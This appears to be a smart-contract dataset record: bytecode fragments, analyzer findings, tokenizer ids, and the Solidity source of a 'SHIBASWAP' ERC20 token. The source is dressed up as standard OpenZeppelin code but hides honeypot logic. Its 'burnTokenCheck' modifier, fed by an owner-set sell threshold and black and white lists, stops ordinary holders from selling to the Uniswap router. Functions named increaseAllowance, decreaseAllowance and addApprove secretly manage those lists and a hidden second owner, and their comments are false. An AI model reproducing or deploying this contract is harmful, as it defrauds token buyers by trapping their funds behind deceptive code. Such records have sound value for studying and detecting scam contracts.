e206f766572666c6f770000815250610f9e565b6000806114ca8385611a30565b905083811015610b595760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ac565b60006115266112c4565b905060006115348383611209565b3060009081526002602052604090205490915061155190826114bd565b30600090815260026020526040902055505050565b600854611573908361147b565b60085560095461158390826114bd565b6009555050565b600080808061159e60646109928989611209565b905060006115b160646109928a89611209565b905060006115c9826115c38b8661147b565b9061147b565b9992985090965090945050505050565b60008080806115e88886611209565b905060006115f68887611209565b905060006116048888611209565b90506000611616826115c3868661147b565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156116565785810183015185820160400152820161163a565b81811115611668576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052857600080fd5b803561169e8161167e565b919050565b600080604083850312156116b657600080fd5b82356116c18161167e565b946020939093013593505050565b6000806000606084860312156116e457600080fd5b83356116ef8161167e565b925060208401356116ff8161167e565b929592945050506040919091013590565b60006020828403121561172257600080fd5b8135610b598161167e565b801515811461052857600080fd5b60006020828403121561174d57600080fd5b8135610b598161172d565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561178157600080fd5b823567ffffffffffffffff8082111561179957600080fd5b818501915085601f8301126117ad57600080fd5b8135818111156117bf576117bf611758565b8060051b604051601f19603f830116810181811085821117156117e4576117e4611758565b60405291825284820192508381018501918883111561180257600080fd5b938501935b828510156118275761181885611693565b84529385019392850192611807565b98975050505050505050565b60006020828403121561184557600080fd5b5035919050565b6000806040838503121561185f57600080fd5b823561186a8161167e565b9150602083013561187a8161167e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118cc57600080fd5b8151610b598161167e565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611915576119156118ed565b5060010190565b60008060006060848603121561193157600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561195c57600080fd5b8151610b598161172d565b600082821015611979576119796118ed565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119ce5784516001600160a01b0316835293830193918301916001016119a9565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611a0957611a096118ed565b500290565b600082611a2b57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611a4357611a436118ed565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122047ed69fca5835394e871dee21e7eaaaf0c0b4b532cd0fb2001fd87db455c4b4d64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 2094, 2575, 2620, 16932, 2063, 19961, 7011, 2509, 2546, 21084, 11057, 4402, 2050, 26976, 2278, 2683, 2050, 2683, 2620, 2581, 16147, 2683, 2629, 2278, 2546, 2581, 22394, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 1013, 1008, 1008, 23957, 20842, 2252, 23957, 20842, 4425, 18613, 1010, 2199, 1010, 2199, 4098, 8569, 2100, 2487, 1010, 3156, 1010, 2199, 16770, 1024, 1013, 1013, 7479, 1012, 23957, 20842, 20464, 12083, 1012, 4012, 1013, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 23957, 20842, 20464, 12083, 16770, 1024, 1013, 1013, 10474, 1012, 4012, 1013, 23957, 20842, 20464, 12083, 1008, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,347
0x969e8b8d9848faa40ac93990f4a79cd74b15b464
pragma solidity ^0.6.6; /** Shiba Inu Swap _____ _ _ _ _____ ___ _____ _ __ ___ _____ / ___/ | | | | | | | _ \ / | / ___/ | | / / / | | _ \ | |___ | |_| | | | | |_| | / /| | | |___ | | __ / / / /| | | |_| | \___ \ | _ | | | | _ { / / | | \___ \ | | / | / / / / | | | ___/ ___| | | | | | | | | |_| | / / | | ___| | | |/ |/ / / / | | | | /_____/ |_| |_| |_| |_____/ /_/ |_| /_____/ |___/|___/ /_/ |_| |_| */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract SHIBASWAP is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610472578063b2bdfa7b1461049e578063dd62ed3e146104c2578063e1268115146104f0576100f5565b806352b0f196146102f457806370a082311461041e57806380b2122e1461044457806395d89b411461046a576100f5565b806318160ddd116100d357806318160ddd1461025a57806323b872dd14610274578063313ce567146102aa5780634e6ec247146102c8576100f5565b8063043fa39e146100fa57806306fdde031461019d578063095ea7b31461021a575b600080fd5b61019b6004803603602081101561011057600080fd5b810190602081018135600160201b81111561012a57600080fd5b82018360208201111561013c57600080fd5b803590602001918460208302840111600160201b8311171561015d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610591945050505050565b005b6101a5610686565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101df5781810151838201526020016101c7565b50505050905090810190601f16801561020c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561023057600080fd5b506001600160a01b03813516906020013561071c565b604080519115158252519081900360200190f35b610262610739565b60408051918252519081900360200190f35b6102466004803603606081101561028a57600080fd5b506001600160a01b0381358116916020810135909116906040013561073f565b6102b26107cc565b6040805160ff9092168252519081900360200190f35b61019b600480360360408110156102de57600080fd5b506001600160a01b0381351690602001356107d5565b61019b6004803603606081101561030a57600080fd5b81359190810190604081016020820135600160201b81111561032b57600080fd5b82018360208201111561033d57600080fd5b803590602001918460208302840111600160201b8311171561035e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ad57600080fd5b8201836020820111156103bf57600080fd5b803590602001918460208302840111600160201b831117156103e057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108d1945050505050565b6102626004803603602081101561043457600080fd5b50356001600160a01b03166109ea565b61019b6004803603602081101561045a57600080fd5b50356001600160a01b0316610a05565b6101a5610a6f565b6102466004803603604081101561048857600080fd5b506001600160a01b038135169060200135610ad0565b6104a6610ae4565b604080516001600160a01b039092168252519081900360200190f35b610262600480360360408110156104d857600080fd5b506001600160a01b0381358116916020013516610af3565b61019b6004803603602081101561050657600080fd5b810190602081018135600160201b81111561052057600080fd5b82018360208201111561053257600080fd5b803590602001918460208302840111600160201b8311171561055357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b1e945050505050565b600a546001600160a01b031633146105d9576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001600260008484815181106105f757fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061064857fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016105dc565b5050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b820191906000526020600020905b8154815290600101906020018083116106f557829003601f168201915b5050505050905090565b6000610730610729610c0e565b8484610c12565b50600192915050565b60055490565b600061074c848484610cfe565b6107c284610758610c0e565b6107bd8560405180606001604052806028815260200161143b602891396001600160a01b038a16600090815260046020526040812090610796610c0e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff6112d216565b610c12565b5060019392505050565b60085460ff1690565b600a546001600160a01b03163314610834576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600554610847908263ffffffff61136916565b600555600a546001600160a01b0316600090815260208190526040902054610875908263ffffffff61136916565b600a546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600a546001600160a01b03163314610919576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b82518110156109e45761095583828151811061093457fe5b602002602001015183838151811061094857fe5b6020026020010151610ad0565b50838110156109dc57600180600085848151811061096f57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506109dc8382815181106109bd57fe5b6020908102919091010151600c546001600160a01b0316600019610c12565b60010161091c565b50505050565b6001600160a01b031660009081526020819052604090205490565b600a546001600160a01b03163314610a4d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b6000610730610add610c0e565b8484610cfe565b600a546001600160a01b031681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600a546001600160a01b03163314610b66576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001806000848481518110610b8357fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bd457fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b69565b3390565b6001600160a01b038316610c575760405162461bcd60e51b81526004018080602001828103825260248152602001806114886024913960400191505060405180910390fd5b6001600160a01b038216610c9c5760405162461bcd60e51b81526004018080602001828103825260228152602001806113f36022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600b54600a548491849184916001600160a01b039182169116148015610d315750600a546001600160a01b038481169116145b15610eb557600b80546001600160a01b0319166001600160a01b03848116919091179091558616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b